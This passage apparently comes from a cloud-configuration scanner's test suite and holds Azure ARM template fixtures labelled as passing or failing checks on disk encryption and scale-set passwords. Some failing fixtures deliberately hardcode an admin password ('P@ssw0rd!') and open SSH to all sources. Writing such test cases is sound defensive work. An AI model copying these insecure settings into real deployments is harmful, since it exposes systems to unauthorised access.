    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"VM Admin User Name\": {\n      \"defaultValue\": \"myadmin\",\n      \"type\": \"string\"\n    },\n    \"VM Admin Password\": {\n      \"defaultValue\": null,\n      \"type\": \"securestring\"\n    },\n    \"VM Size\": {\n      \"defaultValue\": \"Standard_DS4\",\n      \"type\": \"string\",\n      \"allowedValues\": [\n        \"Standard_DS1\",\n        \"Standard_DS2\",\n        \"Standard_DS3\",\n        \"Standard_DS4\",\n        \"Standard_DS5\"\n      ],\n      \"metadata\": {\n        \"description\": \"SKU of the VM.\"\n      }\n    },\n    \"Public Domain Label\": {\n      \"type\": \"string\"\n    }\n  },\n  \"variables\": {\n    \"Vhds Container Name\": \"vhds\",\n    \"frontIpRange\": \"10.0.1.0/24\",\n    \"Public IP Name\": \"MyPublicIP\",\n    \"Public LB Name\": \"PublicLB\",\n    \"Front Address Pool Name\": \"frontPool\",\n    \"Front NIC\": \"frontNic\",\n    \"Front NIC Clone\": \"frontNic-Clone\",\n    \"Front VM\": \"Demo-VM\",\n    \"Front VM Clone\": \"Demo-VM-Clone\",\n    \"Front Availability Set Name\": \"frontAvailSet\",\n    \"VNet Name\": \"Demo-VNet\"\n  },\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Network/publicIPAddresses\",\n      \"name\": \"[variables('Public IP Name')]\",\n      \"apiVersion\": \"2015-06-15\",\n      \"location\": \"[resourceGroup().location]\",\n      \"tags\": {\n        \"displayName\": \"Public IP\"\n      },\n      \"properties\": {\n        \"publicIPAllocationMethod\": \"Dynamic\",\n        \"idleTimeoutInMinutes\": 4,\n        \"dnsSettings\": {\n          \"domainNameLabel\": \"[parameters('Public Domain Label')]\"\n        }\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/virtualNetworks\",\n      \"name\": \"[variables('VNet Name')]\",\n      \"apiVersion\": \"2016-03-30\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"addressSpace\": {\n          \"addressPrefixes\": [\n            \"10.0.0.0/16\"\n          ]\n        },\n        \"subnets\": [\n          {\n            \"name\": \"front\",\n            \"properties\": {\n              \"addressPrefix\": \"[variables('frontIpRange')]\",\n              \"networkSecurityGroup\": {\n                \"id\": \"[resourceId('Microsoft.Network/networkSecurityGroups', 'frontNsg')]\"\n              }\n            }\n          }\n        ]\n      },\n      \"resources\": [],\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/networkSecurityGroups', 'frontNsg')]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Network/loadBalancers\",\n      \"name\": \"[variables('Public LB Name')]\",\n      \"apiVersion\": \"2015-06-15\",\n      \"location\": \"[resourceGroup().location]\",\n      \"tags\": {\n        \"displayName\": \"Public Load Balancer\"\n      },\n      \"properties\": {\n        \"frontendIPConfigurations\": [\n          {\n            \"name\": \"LoadBalancerFrontEnd\",\n            \"comments\": \"Front end of LB:  the IP address\",\n            \"properties\": {\n              \"publicIPAddress\": {\n                \"id\": \"[resourceId('Microsoft.Network/publicIPAddresses/', variables('Public IP Name'))]\"\n              }\n            }\n          }\n        ],\n        \"backendAddressPools\": [\n          {\n            \"name\": \"[variables('Front Address Pool Name')]\"\n          }\n        ],\n        \"loadBalancingRules\": [\n          {\n            \"name\": \"Http\",\n            \"properties\": {\n              \"frontendIPConfiguration\": {\n                \"id\": \"[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/frontendIPConfigurations/LoadBalancerFrontEnd')]\"\n              },\n              \"frontendPort\": 80,\n              \"backendPort\": 80,\n              \"enableFloatingIP\": false,\n              \"idleTimeoutInMinutes\": 4,\n              \"protocol\": \"Tcp\",\n              \"loadDistribution\": \"Default\",\n              \"backendAddressPool\": {\n                \"id\": \"[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/backendAddressPools/', variables('Front Address Pool Name'))]\"\n              },\n              \"probe\": {\n                \"id\": \"[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/probes/TCP-Probe')]\"\n              }\n            }\n          }\n        ],\n        \"probes\": [\n          {\n            \"name\": \"TCP-Probe\",\n            \"properties\": {\n              \"protocol\": \"Tcp\",\n              \"port\": 80,\n              \"intervalInSeconds\": 5,\n              \"numberOfProbes\": 2\n            }\n          }\n        ],\n        \"inboundNatRules\": [\n          {\n            \"name\": \"SSH-2-Primary\",\n            \"properties\": {\n              \"frontendIPConfiguration\": {\n                \"id\": \"[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/frontendIPConfigurations/LoadBalancerFrontEnd')]\"\n              },\n              \"frontendPort\": 22,\n              \"backendPort\": 22,\n              \"protocol\": \"Tcp\"\n            }\n          },\n          {\n            \"name\": \"SSH-2-Secondary\",\n            \"properties\": {\n              \"frontendIPConfiguration\": {\n                \"id\": \"[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/frontendIPConfigurations/LoadBalancerFrontEnd')]\"\n              },\n              \"frontendPort\": 5000,\n              \"backendPort\": 22,\n              \"protocol\": \"Tcp\"\n            }\n          }\n        ],\n        \"outboundNatRules\": [],\n        \"inboundNatPools\": []\n      },\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/publicIPAddresses', variables('Public IP Name'))]\"\n      ]\n    },\n    {\n      \"apiVersion\": \"2015-06-15\",\n      \"name\": \"frontNsg\",\n      \"type\": \"Microsoft.Network/networkSecurityGroups\",\n      \"location\": \"[resourceGroup().location]\",\n      \"tags\": {},\n      \"properties\": {\n        \"securityRules\": [\n          {\n            \"name\": \"Allow-SSH-From-Everywhere\",\n            \"properties\": {\n              \"protocol\": \"Tcp\",\n              \"sourcePortRange\": \"*\",\n              \"destinationPortRange\": \"22\",\n              \"sourceAddressPrefix\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"access\": \"Allow\",\n              \"priority\": 100,\n              \"direction\": \"Inbound\"\n            }\n          },\n          {\n            \"name\": \"Allow-Health-Monitoring\",\n            \"properties\": {\n              \"protocol\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationPortRange\": \"*\",\n              \"sourceAddressPrefix\": \"AzureLoadBalancer\",\n              \"destinationAddressPrefix\": \"*\",\n              \"access\": \"Allow\",\n              \"priority\": 200,\n              \"direction\": \"Inbound\"\n            }\n          },\n          {\n            \"name\": \"Disallow-everything-else-Inbound\",\n            \"properties\": {\n              \"protocol\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationPortRange\": \"*\",\n              \"sourceAddressPrefix\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"access\": \"Deny\",\n              \"priority\": 300,\n              \"direction\": \"Inbound\"\n            }\n          },\n          {\n            \"name\": \"Allow-to-VNet\",\n            \"properties\": {\n              \"protocol\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationPortRange\": \"*\",\n              \"sourceAddressPrefix\": \"*\",\n              \"destinationAddressPrefix\": \"VirtualNetwork\",\n              \"access\": \"Allow\",\n              \"priority\": 100,\n              \"direction\": \"Outbound\"\n            }\n          },\n          {\n            \"name\": \"Allow-to-8443\",\n            \"properties\": {\n              \"protocol\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationPortRange\": \"8443\",\n              \"sourceAddressPrefix\": \"*\",\n              \"destinationAddressPrefix\": \"Internet\",\n              \"access\": \"Allow\",\n              \"priority\": 200,\n              \"direction\": \"Outbound\"\n            }\n          },\n          {\n            \"name\": \"Disallow-everything-else-Outbound\",\n            \"properties\": {\n              \"protocol\": \"*\",\n              \"sourcePortRange\": \"*\",\n              \"destinationPortRange\": \"*\",\n              \"sourceAddressPrefix\": \"*\",\n              \"destinationAddressPrefix\": \"*\",\n              \"access\": \"Deny\",\n              \"priority\": 300,\n              \"direction\": \"Outbound\"\n            }\n          }\n        ],\n        \"subnets\": []\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('Front NIC')]\",\n      \"tags\": {\n        \"displayName\": \"Front NIC\"\n      },\n      \"apiVersion\": \"2016-03-30\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[concat(resourceId('Microsoft.Network/virtualNetworks', variables('VNet Name')), '/subnets/front')]\"\n              },\n              \"loadBalancerBackendAddressPools\": [\n                {\n                  \"id\": \"[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/backendAddressPools/', variables('Front Address Pool Name'))]\"\n                }\n              ],\n              \"loadBalancerInboundNatRules\": [\n                {\n                  \"id\": \"[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/inboundNatRules/SSH-2-Primary')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"dnsSettings\": {\n          \"dnsServers\": []\n        },\n        \"enableIPForwarding\": false\n      },\n      \"resources\": [],\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('VNet Name'))]\",\n        \"[resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[variables('Front VM')]\",\n      \"tags\": {\n        \"displayName\": \"Front VM\"\n      },\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', variables('Front Availability Set Name'))]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('VM Size')]\"\n        },\n        \"storageProfile\": {\n          \"imageReference\": {\n            \"publisher\": \"OpenLogic\",\n            \"offer\": \"CentOS\",\n            \"sku\": \"7.3\",\n            \"version\": \"latest\"\n          },\n          \"osDisk\": {\n            \"name\": \"[variables('Front VM')]\",\n            \"createOption\": \"FromImage\",\n            \"caching\": \"ReadWrite\"\n          },\n          \"dataDisks\": []\n        },\n        \"osProfile\": {\n          \"computerName\": \"[variables('Front VM')]\",\n          \"adminUsername\": \"[parameters('VM Admin User Name')]\",\n          \"adminPassword\": \"[parameters('VM Admin Password')]\"\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('Front NIC'))]\"\n            }\n          ]\n        }\n      },\n      \"resources\": [],\n      \"dependsOn\": [\n        \"[variables('Front NIC')]\",\n        \"[resourceId('Microsoft.Compute/availabilitySets', variables('Front Availability Set Name'))]\"\n      ]\n    },\n    {\n      \"name\": \"[variables('Front Availability Set Name')]\",\n      \"type\": \"Microsoft.Compute/availabilitySets\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"tags\": {\n        \"displayName\": \"FrontAvailabilitySet\"\n      },\n      \"properties\": {\n        \"platformUpdateDomainCount\": 5,\n        \"platformFaultDomainCount\": 3,\n        \"managed\": true\n      },\n      \"dependsOn\": []\n    },\n    {\n      \"name\": \"default\",\n      \"type\": \"Microsoft.Compute/disks\",\n      \"location\": \"[resourceGroup().location]\",\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"tags\": {\n        \"displayName\": \"Clone Disk\"\n      },\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"copy\",\n          \"sourceUri\": \"[resourceId('Microsoft.Compute/snapshots', concat(variables('Front VM'), '-snapshot'))]\"\n        },\n        \"accountType\": \"Premium_LRS\",\n        \"diskSizeGB\": 127,\n        \"osType\": \"\"\n      }\n    },\n    {\n      \"type\": \"Microsoft.Network/networkInterfaces\",\n      \"name\": \"[variables('Front NIC Clone')]\",\n      \"tags\": {\n        \"displayName\": \"Front NIC Clone\"\n      },\n      \"apiVersion\": \"2016-03-30\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"ipConfigurations\": [\n          {\n            \"name\": \"ipconfig\",\n            \"properties\": {\n              \"privateIPAllocationMethod\": \"Dynamic\",\n              \"subnet\": {\n                \"id\": \"[concat(resourceId('Microsoft.Network/virtualNetworks', variables('VNet Name')), '/subnets/front')]\"\n              },\n              \"loadBalancerBackendAddressPools\": [\n                {\n                  \"id\": \"[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/backendAddressPools/', variables('Front Address Pool Name'))]\"\n                }\n              ],\n              \"loadBalancerInboundNatRules\": [\n                {\n                  \"id\": \"[concat(resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name')), '/inboundNatRules/SSH-2-Secondary')]\"\n                }\n              ]\n            }\n          }\n        ],\n        \"dnsSettings\": {\n          \"dnsServers\": []\n        },\n        \"enableIPForwarding\": false\n      },\n      \"resources\": [],\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Network/virtualNetworks', variables('VNet Name'))]\",\n        \"[resourceId('Microsoft.Network/loadBalancers', variables('Public LB Name'))]\"\n      ]\n    },\n    {\n      \"type\": \"Microsoft.Compute/virtualMachines\",\n      \"name\": \"[variables('Front VM Clone')]\",\n      \"tags\": {\n        \"displayName\": \"Front VM Clone\"\n      },\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"location\": \"[resourceGroup().location]\",\n      \"properties\": {\n        \"availabilitySet\": {\n          \"id\": \"[resourceId('Microsoft.Compute/availabilitySets', variables('Front Availability Set Name'))]\"\n        },\n        \"hardwareProfile\": {\n          \"vmSize\": \"[parameters('VM Size')]\"\n        },\n        \"storageProfile\": {\n          \"osDisk\": {\n            \"name\": \"[variables('Front VM Clone')]\",\n            \"createOption\": \"attach\",\n            \"managedDisk\": {\n              \"id\": \"[resourceId('Microsoft.Compute/disks', variables('Front VM Clone'))]\"\n            },\n            \"osType\": \"Linux\",\n            \"caching\": \"ReadWrite\"\n          },\n          \"dataDisks\": []\n        },\n        \"networkProfile\": {\n          \"networkInterfaces\": [\n            {\n              \"id\": \"[resourceId('Microsoft.Network/networkInterfaces', variables('Front NIC Clone'))]\"\n            }\n          ]\n        }\n      },\n      \"resources\": [],\n      \"dependsOn\": [\n        \"[resourceId('Microsoft.Compute/availabilitySets', variables('Front Availability Set Name'))]\",\n        \"[resourceId('Microsoft.Network/networkInterfaces', variables('Front NIC Clone'))]\",\n        \"[resourceId('Microsoft.Compute/disks', variables('Front VM Clone'))]\"\n      ]\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureManagedDiscEncryption/azureManagedDiscEncryption-PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vhdUri\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Storage VHD Uri\"\n      }\n    },\n    \"managedDiskName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the managed disk to be copied\"\n      }\n    },\n    \"keyVaultResourceID\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"KeyVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault\"\n      }\n    },\n    \"keyVaultSecretUrl\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"KeyVault secret Url. Ex: https://contosovault.vault.azure.net/secrets/contososecret/e088818e865e48488cf363af16dea596\"\n      }\n    },\n    \"kekUrl\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"metadata\": {\n        \"description\": \"KeyVault key encryption key Url. Ex: https://contosovault.vault.azure.net/keys/contosokek/562a4bb76b524a1493a6afe8e536ee78\"\n      }\n    },\n    \"kekVaultResourceID\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"metadata\": {\n        \"description\": \"KekVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"location\": \"[parameters('location')]\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"diskSzie\": \"128\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2016-04-30-preview\",\n      \"type\": \"Microsoft.Compute/disks\",\n      \"name\": \"enabled\",\n      \"location\": \"[variables('location')]\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Import\",\n          \"sourceUri\": \"[parameters('vhdUri')]\"\n        },\n        \"accountType\": \"[variables('storageAccountType')]\",\n        \"diskSizeGB\": \"[variables('diskSzie')]\",\n        \"encryptionSettings\": {\n          \"enabled\": true,\n          \"diskEncryptionKey\": {\n            \"sourceVault\": {\n              \"id\": \"[parameters('keyVaultResourceID')]\"\n            },\n            \"secretUrl\": \"[parameters('keyVaultSecretUrl')]\"\n          },\n          \"keyEncryptionKey\": {\n            \"sourceVault\": {\n              \"id\": \"[parameters('kekVaultResourceID')]\"\n            },\n            \"keyUrl\": \"[parameters('kekUrl')]\"\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureManagedDiscEncryption/azureManagedDiscEncryption-PASSED_2.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vhdUri\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Storage VHD Uri\"\n      }\n    },\n    \"managedDiskName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the managed disk to be copied\"\n      }\n    },\n    \"keyVaultResourceID\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"KeyVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault\"\n      }\n    },\n    \"keyVaultSecretUrl\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"KeyVault secret Url. Ex: https://contosovault.vault.azure.net/secrets/contososecret/e088818e865e48488cf363af16dea596\"\n      }\n    },\n    \"kekUrl\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"metadata\": {\n        \"description\": \"KeyVault key encryption key Url. Ex: https://contosovault.vault.azure.net/keys/contosokek/562a4bb76b524a1493a6afe8e536ee78\"\n      }\n    },\n    \"kekVaultResourceID\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"metadata\": {\n        \"description\": \"KekVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"location\": \"[parameters('location')]\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"diskSzie\": \"128\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2021-12-01\",\n      \"type\": \"Microsoft.Compute/disks\",\n      \"name\": \"collectionEnabled\",\n      \"location\": \"[variables('location')]\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Import\",\n          \"sourceUri\": \"[parameters('vhdUri')]\"\n        },\n        \"accountType\": \"[variables('storageAccountType')]\",\n        \"diskSizeGB\": \"[variables('diskSzie')]\",\n        \"encryptionSettingsCollection\": {\n          \"enabled\": true,\n          \"encryptionSettings\": {\n            \"diskEncryptionKey\": {\n              \"sourceVault\": {\n                \"id\": \"[parameters('keyVaultResourceID')]\"\n              },\n              \"secretUrl\": \"[parameters('keyVaultSecretUrl')]\"\n            },\n            \"keyEncryptionKey\": {\n              \"sourceVault\": {\n                \"id\": \"[parameters('kekVaultResourceID')]\"\n              },\n              \"keyUrl\": \"[parameters('kekUrl')]\"\n            }\n          }\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureManagedDiscEncryption/azureManagedDiscEncryption-PASSED_3.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"parameters\": {\n    \"vhdUri\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Storage VHD Uri\"\n      }\n    },\n    \"managedDiskName\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"Name of the managed disk to be copied\"\n      }\n    },\n    \"keyVaultResourceID\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"KeyVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault\"\n      }\n    },\n    \"keyVaultSecretUrl\": {\n      \"type\": \"string\",\n      \"metadata\": {\n        \"description\": \"KeyVault secret Url. Ex: https://contosovault.vault.azure.net/secrets/contososecret/e088818e865e48488cf363af16dea596\"\n      }\n    },\n    \"kekUrl\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"metadata\": {\n        \"description\": \"KeyVault key encryption key Url. Ex: https://contosovault.vault.azure.net/keys/contosokek/562a4bb76b524a1493a6afe8e536ee78\"\n      }\n    },\n    \"kekVaultResourceID\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"\",\n      \"metadata\": {\n        \"description\": \"KekVault resource id. Ex: /subscriptions/subscriptionid/resourceGroups/contosorg/providers/Microsoft.KeyVault/vaults/contosovault\"\n      }\n    },\n    \"location\": {\n      \"type\": \"string\",\n      \"defaultValue\": \"[resourceGroup().location]\",\n      \"metadata\": {\n        \"description\": \"Location for all resources.\"\n      }\n    }\n  },\n  \"variables\": {\n    \"location\": \"[parameters('location')]\",\n    \"storageAccountType\": \"Standard_LRS\",\n    \"diskSzie\": \"128\"\n  },\n  \"resources\": [\n    {\n      \"apiVersion\": \"2021-12-01\",\n      \"type\": \"Microsoft.Compute/disks\",\n      \"name\": \"encryptionBlock\",\n      \"location\": \"[variables('location')]\",\n      \"properties\": {\n        \"creationData\": {\n          \"createOption\": \"Import\",\n          \"sourceUri\": \"[parameters('vhdUri')]\"\n        },\n        \"accountType\": \"[variables('storageAccountType')]\",\n        \"diskSizeGB\": \"[variables('diskSzie')]\",\n        \"encryption\": {\n          \"diskEncryptionSetId\": \"exampleSetId\",\n          \"type\": \"EncryptionAtRestWithCustomerKey\"\n        }\n      }\n    }\n  ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureManagedDiskEncryptionSet/azureManagedDiskEncyptionSet-FAILED.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"disks_acctestmd1_name\": {\n            \"defaultValue\": \"failed\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Compute/disks\",\n            \"apiVersion\": \"2023-01-02\",\n            \"name\": \"[parameters('disks_acctestmd1_name')]\",\n            \"location\": \"westus2\",\n            \"tags\": {\n                \"environment\": \"staging\"\n            },\n            \"sku\": {\n                \"name\": \"Standard_LRS\",\n                \"tier\": \"Standard\"\n            },\n            \"properties\": {\n                \"creationData\": {\n                    \"createOption\": \"Empty\"\n                },\n                \"diskSizeGB\": 1,\n                \"diskIOPSReadWrite\": 500,\n                \"diskMBpsReadWrite\": 60,\n                \"encryption\": {\n                    \"type\": \"EncryptionAtRestWithPlatformKey\"\n                },\n                \"networkAccessPolicy\": \"AllowAll\",\n                \"publicNetworkAccess\": \"Enabled\",\n                \"diskState\": \"Unattached\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureManagedDiskEncryptionSet/azureManagedDiskEncyptionSet-PASSED.json",
    "content": "{\n    \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n    \"contentVersion\": \"1.0.0.0\",\n    \"parameters\": {\n        \"disks_pike_name\": {\n            \"defaultValue\": \"pike\",\n            \"type\": \"String\"\n        },\n        \"diskEncryptionSets_pike_externalid\": {\n            \"defaultValue\": \"/subscriptions/037ce662-dfc1-4b8b-a8a7-6c414b540ed6/resourceGroups/PIKE/providers/Microsoft.Compute/diskEncryptionSets/pike\",\n            \"type\": \"String\"\n        }\n    },\n    \"variables\": {},\n    \"resources\": [\n        {\n            \"type\": \"Microsoft.Compute/disks\",\n            \"apiVersion\": \"2023-01-02\",\n            \"name\": \"[parameters('disks_pike_name')]\",\n            \"location\": \"uksouth\",\n            \"tags\": {\n                \"createdby\": \"Terraform\",\n                \"module\": \"terraform-azurerm-disk\"\n            },\n            \"sku\": {\n                \"name\": \"Standard_LRS\",\n                \"tier\": \"Standard\"\n            },\n            \"properties\": {\n                \"creationData\": {\n                    \"createOption\": \"Empty\"\n                },\n                \"diskSizeGB\": 10,\n                \"diskIOPSReadWrite\": 500,\n                \"diskMBpsReadWrite\": 60,\n                \"encryption\": {\n                    \"type\": \"EncryptionAtRestWithCustomerKey\",\n                    \"diskEncryptionSetId\": \"[parameters('diskEncryptionSets_pike_externalid')]\"\n                },\n                \"networkAccessPolicy\": \"DenyAll\",\n                \"publicNetworkAccess\": \"Disabled\",\n                \"diskState\": \"Unattached\"\n            }\n        }\n    ]\n}"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureScaleSetPassword/FAILED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"default\",\n      \"location\": \"East US 2\",\n      \"apiVersion\": \"2021-07-01\",\n      \"zones\": [\n        \"1\"\n      ],\n      \"sku\": {\n        \"name\": \"Standard_A1\",\n        \"capacity\": \"2\"\n      },\n      \"properties\": {\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"caching\": \"ReadWrite\",\n              \"createOption\": \"FromImage\"\n            },\n            \"imageReference\": {\n              \"publisher\": \"Canonical\",\n              \"offer\": \"UbuntuServer\",\n              \"sku\": \"16.04-LTS\",\n              \"version\": \"latest\"\n            }\n          },\n          \"osProfile\": {\n            \"linuxConfiguration\": {\n              \"computerNamePrefix\": \"myvmss\",\n              \"adminUsername\": \"azureuser\",\n              \"adminPassword\": \"P@ssw0rd!\"\n            }\n          }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureScaleSetPassword/PASSED.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"enabled\",\n      \"location\": \"East US 2\",\n      \"apiVersion\": \"2021-07-01\",\n      \"zones\": [\n        \"1\"\n      ],\n      \"sku\": {\n        \"name\": \"Standard_A1\",\n        \"capacity\": \"2\"\n      },\n      \"properties\": {\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"caching\": \"ReadWrite\",\n              \"createOption\": \"FromImage\"\n            },\n            \"imageReference\": {\n              \"publisher\": \"Canonical\",\n              \"offer\": \"UbuntuServer\",\n              \"sku\": \"16.04-LTS\",\n              \"version\": \"latest\"\n            }\n          },\n          \"osProfile\": {\n            \"linuxConfiguration\": {\n              \"disablePasswordAuthentication\": true,\n              \"ssh\": {\n                \"publicKeys\": [\n                  {\n                    \"path\": \"[concat('/home/', parameters('adminUsername'), '/.ssh/authorized_keys')]\",\n                    \"keyData\": \"[parameters('adminPasswordOrKey')]\"\n                  }\n                ]\n              }\n            }\n          }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureScaleSetPassword/UNKNOWN.json",
    "content": "{\n  \"$schema\": \"https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#\",\n  \"contentVersion\": \"1.0.0.0\",\n  \"resources\": [\n    {\n      \"type\": \"Microsoft.Compute/virtualMachineScaleSets\",\n      \"name\": \"windows\",\n      \"location\": \"East US 2\",\n      \"apiVersion\": \"2021-07-01\",\n      \"zones\": [\n        \"1\"\n      ],\n      \"sku\": {\n        \"name\": \"Standard_A1\",\n        \"capacity\": \"2\"\n      },\n      \"properties\": {\n        \"virtualMachineProfile\": {\n          \"storageProfile\": {\n            \"osDisk\": {\n              \"caching\": \"ReadWrite\",\n              \"createOption\": \"FromImage\"\n            },\n            \"imageReference\": {\n              \"publisher\": \"MicrosoftWindowsServer\",\n              \"offer\": \"WindowsServer\",\n              \"sku\": \"2019-Datacenter\",\n              \"version\": \"latest\"\n            }\n          },\n          \"osProfile\": {\n            \"computerNamePrefix\": \"myvmss\",\n            \"adminUsername\": \"azureuser\",\n            \"adminPassword\": \"P@ssw0rd!\"\n          }\n        }\n      }\n    }\n  ]\n}\n"
  },
  {
    "path": "tests/arm/checks/resource/example_AzureSearchSLAIndex/fail.json",
